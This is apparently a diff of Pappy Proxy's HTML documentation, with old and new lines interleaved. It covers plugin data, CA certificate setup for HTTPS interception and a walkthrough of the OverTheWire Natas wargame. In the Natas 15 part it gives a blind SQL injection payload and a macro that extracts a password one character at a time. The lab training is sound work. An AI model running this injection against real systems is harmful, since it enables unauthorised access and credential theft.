<p><aclass="reference internal"href="pappyproxy.html#pappyproxy.http.Request"title="pappyproxy.http.Request"><codeclass="xref py py-class docutils literal"><spanclass="pre">pappyproxy.http.Request</span></code></a> objects have a <codeclass="docutils literal"><spanclass="pre">plugin_data</span></code> attribute. It is a dictionary that is intended to be used by plugins to give the request custom metadata. If you want to store metadata about a request, it is suggested that you add a key to this dictionary and store any metadata you want under that key. You can use <aclass="reference internal"href="pappyproxy.html#pappyproxy.http.Request.get_plugin_dict"title="pappyproxy.http.Request.get_plugin_dict"><codeclass="xref py py-func docutils literal"><spanclass="pre">pappyproxy.http.Request.get_plugin_dict()</span></code></a> to get a dictionary for a specific name. It will create an entry for that name if it doesn’t exist. I also suggest defining a function plugin-wide for getting the plugin’s data dict from a specific request. Since dictionaries are always passed by reference, any modifications you make to the returned dict will be applied to the request as well.</p>
<divclass="admonition note">
<pclass="first admonition-title">Note</p>
<pclass="last">You will need to save the request using something like <aclass="reference internal"href="pappyproxy.html#pappyproxy.http.Request.save"title="pappyproxy.http.Request.save"><codeclass="xref py py-func docutils literal"><spanclass="pre">pappyproxy.http.Request.save()</span></code></a> or <aclass="reference internal"href="pappyproxy.html#pappyproxy.http.Request.async_deep_save"title="pappyproxy.http.Request.async_deep_save"><codeclass="xref py py-func docutils literal"><spanclass="pre">pappyproxy.http.Request.async_deep_save()</span></code></a> in order to store the changes in the data file.</p>
</div>
<p>Here is an example plugin for storing the user-agent (if it exists) in the <codeclass="docutils literal"><spanclass="pre">plugin_data</span></code> dict of a request under the key <codeclass="docutils literal"><spanclass="pre">agent</span></code>:</p>
<spanclass="k">print</span><spanclass="s">'The user agent for </span><spanclass="si">%s</span><spanclass="s"> is "</span><spanclass="si">%s</span><spanclass="s">"'</span><spanclass="o">%</span><spanclass="p">(</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">reqid</span><spanclass="p">,</span><spanclass="n">get_data</span><spanclass="p">(</span><spanclass="n">r</span><spanclass="p">)[</span><spanclass="s">'agent'</span><spanclass="p">])</span>
<spanclass="k">print</span><spanclass="s1">'The user agent for </span><spanclass="si">%s</span><spanclass="s1"> is "</span><spanclass="si">%s</span><spanclass="s1">"'</span><spanclass="o">%</span><spanclass="p">(</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">reqid</span><spanclass="p">,</span><spanclass="n">get_data</span><spanclass="p">(</span><spanclass="n">r</span><spanclass="p">)[</span><spanclass="s1">'agent'</span><spanclass="p">])</span>
<spanclass="k">else</span><spanclass="p">:</span>
<spanclass="k">print</span><spanclass="s">'Request </span><spanclass="si">%s</span><spanclass="s"> has no user agent data'</span><spanclass="o">%</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">reqid</span>
<spanclass="k">print</span><spanclass="s1">'Request </span><spanclass="si">%s</span><spanclass="s1"> has no user agent data'</span><spanclass="o">%</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">reqid</span>
<h3><aclass="toc-backref"href="#id16">Useful Functions</a><aclass="headerlink"href="#useful-functions"title="Permalink to this headline">¶</a></h3>
<ulclass="simple">
<li>Load a request by id: <aclass="reference internal"href="pappyproxy.html#pappyproxy.http.Request.load_request"title="pappyproxy.http.Request.load_request"><codeclass="xref py py-func docutils literal"><spanclass="pre">pappyproxy.http.Request.load_request()</span></code></a></li>
<li>Create a filter from a filter string: <aclass="reference internal"href="pappyproxy.html#pappyproxy.context.Filter.from_filter_string"title="pappyproxy.context.Filter.from_filter_string"><codeclass="xref py py-func docutils literal"><spanclass="pre">pappyproxy.context.Filter.from_filter_string()</span></code></a></li>
</ul>
<p>See <aclass="reference internal"href="pappyproxy.html#module-pappyproxy.plugin"title="pappyproxy.plugin"><codeclass="xref py py-mod docutils literal"><spanclass="pre">pappyproxy.plugin</span></code></a> and <aclass="reference internal"href="pappyproxy.html#module-pappyproxy.util"title="pappyproxy.util"><codeclass="xref py py-mod docutils literal"><spanclass="pre">pappyproxy.util</span></code></a> for useful functions</p>
<h3><aclass="toc-backref"href="#id4">Installing Pappy’s CA Cert</a><aclass="headerlink"href="#installing-pappy-s-ca-cert"title="Permalink to this headline">¶</a></h3>
<p>In order to intercept HTTPS requests, you’ll need to add a CA cert to your browser. Installing the cert allows Pappy to act like a certificate authority and sign certificates for whatever it wants without your browser complaining.</p>
<p>To generate certificates, you’ll use the <codeclass="docutils literal"><spanclass="pre">gencerts</span></code> command. This will generate certificates in Pappy’s directory. By default, all projects will use the certs in this directory, so you should only have to generate/install the certificates once.:</p>
This will overwrite any existing certs in /home/anonymouse/pappy/pappyproxy/certs. Are you sure?
(y/N) y
Generating certs to /home/anonymouse/pappy/pappyproxy/certs
@ -194,7 +194,7 @@ pappy>
<divclass="section"id="testing-it-out">
<h3><aclass="toc-backref"href="#id10">Testing it Out</a><aclass="headerlink"href="#testing-it-out"title="Permalink to this headline">¶</a></h3>
<p>Start up Pappy in Lite mode by running <codeclass="docutils literal"><spanclass="pre">pappy</span><spanclass="pre">-l</span></code>, enable the proxy in your browser, then navigate to a website:</p>
<h3><aclass="toc-backref"href="#id12">Setting the Scope</a><aclass="headerlink"href="#setting-the-scope"title="Permalink to this headline">¶</a></h3>
<p>The first thing we’ll do is set up Pappy so that it only intercepts requests going to <codeclass="docutils literal"><spanclass="pre">*.natas.labs.overthewire.org</span></code>:</p>
<li><codeclass="docutils literal"><spanclass="pre">vfs</span><spanclass="pre"><reqid></span></code> prints the full response to a request you specify</li>
</ul>
<p>So to solve natas1, we’ll want to view the full response to our request to the page:</p>
<divclass="highlight-python"><divclass="highlight"><pre>pappy> ls
<divclass="highlight-python"><divclass="highlight"><pre><span></span>pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
16 GET natas1.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
15 GET natas1.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
@ -295,7 +295,7 @@ pappy>
<divclass="section"id="natas-2">
<h3><aclass="toc-backref"href="#id15">Natas 2</a><aclass="headerlink"href="#natas-2"title="Permalink to this headline">¶</a></h3>
<p>When you visit this page, you get a message saying “There is nothing on this page”. That is probably a blatant lie. Let’s see what was in that response.:</p>
<divclass="highlight-python"><divclass="highlight"><pre>pappy> ls
<divclass="highlight-python"><divclass="highlight"><pre><span></span>pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
30 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
29 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
@ -338,11 +338,11 @@ pappy>
<li><codeclass="docutils literal"><spanclass="pre">fls</span></code> Show all currently applied filters</li>
</ol>
<p>The most complicated of these is the <codeclass="docutils literal"><spanclass="pre">filter</span></code> command since it takes a filter string as an argument. All a filter string is is a string that defines which requests will pass the filter. Anything that doesn’t pass the filter will be removed from the context. Most filter strings are of the format <codeclass="docutils literal"><spanclass="pre"><field></span><spanclass="pre"><comparer></span><spanclass="pre"><value></span></code>. For example:</p>
<p>This filter will only match requests whose host is exactly <codeclass="docutils literal"><spanclass="pre">www.target.org</span></code>. When defining our scope, we applied a filter using a <codeclass="docutils literal"><spanclass="pre">containsr</span></code> comparer. This matches any request where the field matches a regular expression. Here are a few fields and comparers:</p>
@ -367,7 +367,7 @@ pappy>
<h4><aclass="toc-backref"href="#id19">Finding Passwords</a><aclass="headerlink"href="#finding-passwords"title="Permalink to this headline">¶</a></h4>
<p>While we can’t find all the passwords with one filter, if we remember how we got the password, we can find it pretty quickly</p>
<p>For natas0 and natas1, the responses had a phrase like “the password is abc123”. So we can filter out anything that doesn’t have the word “password” in it.:</p>
<divclass="highlight-python"><divclass="highlight"><pre>pappy> ls
<divclass="highlight-python"><divclass="highlight"><pre><span></span>pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
52 GET natas4.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 --
51 GET natas4.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 --
@ -425,23 +425,23 @@ pappy>
<li><codeclass="docutils literal"><spanclass="pre">ic</span><spanclass="pre"><req|rsp>+</span></code> Begin interception mode. Intercepts requests and/or responses as decided by the arguments given in the command. <codeclass="docutils literal"><spanclass="pre">ic</span><spanclass="pre">req</span></code> will only intercept requests, <codeclass="docutils literal"><spanclass="pre">ic</span><spanclass="pre">rsp</span></code> will only intercept responses, and <codeclass="docutils literal"><spanclass="pre">ic</span><spanclass="pre">req</span><spanclass="pre">rsp</span></code> will intercept both.</li>
</ul>
<p>In this case, we only want to intercept requests, so we’ll run <codeclass="docutils literal"><spanclass="pre">ic</span><spanclass="pre">req</span></code>:</p>
<divclass="highlight-python"><divclass="highlight"><pre>pappy> ic req
<divclass="highlight-python"><divclass="highlight"><pre><span></span>pappy> ic req
</pre></div>
</div>
<p>And we’ll get a screen that says something like:</p>
Press 'n' to edit the next item or 'q' to quit interceptor.
</pre></div>
</div>
<p>Now refresh the page in your browser. The page will hang like it’s taking a long time to load. Go back to Pappy, and now the interceptor will say something like:</p>
Press 'n' to edit the next item or 'q' to quit interceptor.
</pre></div>
</div>
<p>Press <codeclass="docutils literal"><spanclass="pre">n</span></code> and the request will be opened for editing! Which editor is used is defined by the <codeclass="docutils literal"><spanclass="pre">EDITOR</span></code> environment variable. Use the text editor to add a <codeclass="docutils literal"><spanclass="pre">Referer</span></code> header (note that there’s only one r):</p>
<pclass="last">You must know the basics of how to use vim for the repeater and have a key bound to the leader. You can find more information on the leader key <aclass="reference external"href="https://stackoverflow.com/questions/1764263/what-is-the-leader-in-a-vimrc-file">here</a>. By default <leader> is bound to <codeclass="docutils literal"><spanclass="pre">\</span></code>.</p>
</div>
<p>Submit a request then open that request in the repeater:</p>
<divclass="highlight-python"><divclass="highlight"><pre>pappy> ls
<divclass="highlight-python"><divclass="highlight"><pre><span></span>pappy> ls
196 GET natas9.natas.labs.overthewire.org /index.php?needle=ball&submit=Search 200 OK 0 1686 0.27 --
195 GET natas9.natas.labs.overthewire.org /index-source.html 200 OK 0 1952 0.27 --
... snip ...
@ -511,7 +511,7 @@ pappy> rp 196
<li><codeclass="docutils literal"><spanclass="pre">rma</span><spanclass="pre"><name></span><spanclass="pre">[args]</span></code> Run a macro, optionally with arguments</li>
</ul>
<p>So the first thing we’ll do is submit a request to have a base request that we can modify. Submit a request with any username. You should get a response back saying the user doesn’t exist. Now we’ll generate a macro and use that request as a base for our script:</p>
<divclass="highlight-python"><divclass="highlight"><pre>pappy> ls
<divclass="highlight-python"><divclass="highlight"><pre><span></span>pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
224 POST natas15.natas.labs.overthewire.org /index.php 200 OK 14 937 0.27 --
223 POST natas15.natas.labs.overthewire.org /index.php 200 OK 12 937 0.27 --
@ -528,44 +528,44 @@ pappy>
</pre></div>
</div>
<p>Now open up <codeclass="docutils literal"><spanclass="pre">macro_brute.py</span></code> in your favorite text editor. You should have a script that looks like this:</p>
<spanclass="c1"># req.submit() # Submit the request to get a response</span>
<spanclass="c1"># print req.response.raw_headers # print the response headers</span>
<spanclass="c1"># req.save() # save the request to the data file</span>
<spanclass="c1"># or copy req0 into a loop and use string substitution to automate requests</span>
<spanclass="k">pass</span>
</pre></div>
</div>
@ -577,19 +577,19 @@ pappy>
</ul>
<p>It is suggested you go through the documentation to learn the rest of the attributes/functions.</p>
<p>To start out simple, we’ll write a macro that lets us check a username from the Pappy console. To define a function, you define the <codeclass="docutils literal"><spanclass="pre">run_macro</span></code> function. The function is passed a list of arguments which represent the arguments entered. Here a <codeclass="docutils literal"><spanclass="pre">run_macro</span></code> function that we can define that will check if a user exists:</p>
<spanclass="n">to_check</span><spanclass="o">=</span><spanclass="n">args</span><spanclass="p">[</span><spanclass="mi">0</span><spanclass="p">]</span><spanclass="c"># get the username to check</span>
<spanclass="n">r</span><spanclass="o">=</span><spanclass="n">req1</span><spanclass="o">.</span><spanclass="n">copy</span><spanclass="p">()</span><spanclass="c"># make a copy of the base request</span>
<spanclass="n">r</span><spanclass="o">.</span><spanclass="n">post_params</span><spanclass="p">[</span><spanclass="s">'username'</span><spanclass="p">]</span><spanclass="o">=</span><spanclass="n">to_check</span><spanclass="c"># set the username param of the request</span>
<spanclass="n">r</span><spanclass="o">.</span><spanclass="n">submit</span><spanclass="p">()</span><spanclass="c"># submit the request</span>
<spanclass="k">if</span><spanclass="s">"This user doesn't exist."</span><spanclass="ow">in</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">response</span><spanclass="o">.</span><spanclass="n">raw_data</span><spanclass="p">:</span><spanclass="c"># check if the username is valid</span>
<spanclass="k">print</span><spanclass="s">"</span><spanclass="si">%s</span><spanclass="s"> is not a user"</span><spanclass="o">%</span><spanclass="n">to_check</span>
<spanclass="n">to_check</span><spanclass="o">=</span><spanclass="n">args</span><spanclass="p">[</span><spanclass="mi">0</span><spanclass="p">]</span><spanclass="c1"># get the username to check</span>
<spanclass="n">r</span><spanclass="o">=</span><spanclass="n">req1</span><spanclass="o">.</span><spanclass="n">copy</span><spanclass="p">()</span><spanclass="c1"># make a copy of the base request</span>
<spanclass="n">r</span><spanclass="o">.</span><spanclass="n">post_params</span><spanclass="p">[</span><spanclass="s1">'username'</span><spanclass="p">]</span><spanclass="o">=</span><spanclass="n">to_check</span><spanclass="c1"># set the username param of the request</span>
<spanclass="n">r</span><spanclass="o">.</span><spanclass="n">submit</span><spanclass="p">()</span><spanclass="c1"># submit the request</span>
<spanclass="k">if</span><spanclass="s2">"This user doesn't exist."</span><spanclass="ow">in</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">response</span><spanclass="o">.</span><spanclass="n">raw_data</span><spanclass="p">:</span><spanclass="c1"># check if the username is valid</span>
<spanclass="k">print</span><spanclass="s2">"</span><spanclass="si">%s</span><spanclass="s2"> is not a user"</span><spanclass="o">%</span><spanclass="n">to_check</span>
<spanclass="k">else</span><spanclass="p">:</span>
<spanclass="k">print</span><spanclass="s">"</span><spanclass="si">%s</span><spanclass="s"> is a user!"</span><spanclass="o">%</span><spanclass="n">to_check</span>
<spanclass="k">print</span><spanclass="s2">"</span><spanclass="si">%s</span><spanclass="s2"> is a user!"</span><spanclass="o">%</span><spanclass="n">to_check</span>
<p>Awesome! Notice how we didn’t have to deal with authentication either. This is because the authentication is handled by the <codeclass="docutils literal"><spanclass="pre">Authorization</span></code> header which was included in the generated request.</p>
<p>Time to add the SQL injection part. If we look at the source, we see that this is the SQL query that checks the username:</p>
<divclass="highlight-python"><divclass="highlight"><pre>$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
<divclass="highlight-python"><divclass="highlight"><pre><span></span>$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
</pre></div>
</div>
<p>So to escape it, we use a payload like:</p>
<divclass="highlight-python"><divclass="highlight"><pre>username" OR 1=1; #
<divclass="highlight-python"><divclass="highlight"><pre><span></span>username" OR 1=1; #
</pre></div>
</div>
<p>In this case, any username that ends in <codeclass="docutils literal"><spanclass="pre">"</span><spanclass="pre">OR</span><spanclass="pre">1=1;</span><spanclass="pre">#</span></code> will be considered a valid username. Let’s try this out:</p>
<divclass="highlight-python"><divclass="highlight"><pre>pappy> rma brute "foo\" OR 1=1;"
<divclass="highlight-python"><divclass="highlight"><pre><span></span>pappy> rma brute "foo\" OR 1=1;"
foo" OR 1=1; is a user!
pappy> rma brute "fooooooo\" OR 1=1;"
fooooooo" OR 1=1; is a user!
@ -618,62 +618,62 @@ pappy>
</pre></div>
</div>
<p>Great! Now we can check any true/false condition we want. In this case, we want to check if a certain character is at a certain position in the <codeclass="docutils literal"><spanclass="pre">password</span></code> column. We do this with the <codeclass="docutils literal"><spanclass="pre">ASCII</span></code> and <codeclass="docutils literal"><spanclass="pre">SUBSTRING</span></code> functions. So something like this will check if the first character is an <codeclass="docutils literal"><spanclass="pre">A</span></code>.:</p>
<divclass="highlight-python"><divclass="highlight"><pre><spanclass="s">'natas16" AND ASCII(SUBSTRING(password, 0, 1)) = 41; #'</span>
<divclass="highlight-python"><divclass="highlight"><pre><span></span><spanclass="s1">'natas16" AND ASCII(SUBSTRING(password, 0, 1)) = 41; #'</span>
</pre></div>
</div>
<p>Alright, let’s update our macro to find the first character of the password.:</p>
<spanclass="k">if</span><spanclass="s">"This user doesn't exist."</span><spanclass="ow">in</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">response</span><spanclass="o">.</span><spanclass="n">raw_data</span><spanclass="p">:</span>
<spanclass="k">if</span><spanclass="s2">"This user doesn't exist."</span><spanclass="ow">in</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">response</span><spanclass="o">.</span><spanclass="n">raw_data</span><spanclass="p">:</span>
<spanclass="k">print</span><spanclass="s">'</span><spanclass="si">%s</span><spanclass="s"> is the first char!'</span><spanclass="o">%</span><spanclass="n">c</span>
<spanclass="k">print</span><spanclass="s1">'</span><spanclass="si">%s</span><spanclass="s1"> is the first char!'</span><spanclass="o">%</span><spanclass="n">c</span>
<p>We find the first character! Woo! Next we just have to do this for each position. Even through we don’t know the length of the password, we will know that the password is over when none of the characters are valid. So let’s update our macro:</p>
<spanclass="k">if</span><spanclass="s">"This user doesn't exist."</span><spanclass="ow">in</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">response</span><spanclass="o">.</span><spanclass="n">raw_data</span><spanclass="p">:</span>
<spanclass="k">if</span><spanclass="s2">"This user doesn't exist."</span><spanclass="ow">in</span><spanclass="n">r</span><spanclass="o">.</span><spanclass="n">response</span><spanclass="o">.</span><spanclass="n">raw_data</span><spanclass="p">:</span>
<spanclass="k">print</span><spanclass="s">'</span><spanclass="si">%s</span><spanclass="s"> is char </span><spanclass="si">%d</span><spanclass="s">!'</span><spanclass="o">%</span><spanclass="p">(</span><spanclass="n">c</span><spanclass="p">,</span><spanclass="nb">len</span><spanclass="p">(</span><spanclass="n">password</span><spanclass="p">)</span><spanclass="o">+</span><spanclass="mi">1</span><spanclass="p">)</span>
<spanclass="k">print</span><spanclass="s">'The password so far is </span><spanclass="si">%s</span><spanclass="s">'</span><spanclass="o">%</span><spanclass="n">password</span>
<spanclass="c"># We have to do another round</span>
<spanclass="k">print</span><spanclass="s1">'</span><spanclass="si">%s</span><spanclass="s1"> is char </span><spanclass="si">%d</span><spanclass="s1">!'</span><spanclass="o">%</span><spanclass="p">(</span><spanclass="n">c</span><spanclass="p">,</span><spanclass="nb">len</span><spanclass="p">(</span><spanclass="n">password</span><spanclass="p">)</span><spanclass="o">+</span><spanclass="mi">1</span><spanclass="p">)</span>
<spanclass="k">print</span><spanclass="s1">'The password so far is </span><spanclass="si">%s</span><spanclass="s1">'</span><spanclass="o">%</span><spanclass="n">password</span>
<spanclass="c1"># We have to do another round</span>
<spanclass="k">print</span><spanclass="s">'Done! The password is "</span><spanclass="si">%s</span><spanclass="s">"'</span><spanclass="o">%</span><spanclass="n">password</span>
<spanclass="c1"># We got through the entire alphabet</span>
<spanclass="k">print</span><spanclass="s1">'Done! The password is "</span><spanclass="si">%s</span><spanclass="s1">"'</span><spanclass="o">%</span><spanclass="n">password</span>
Rob Glew
8 years ago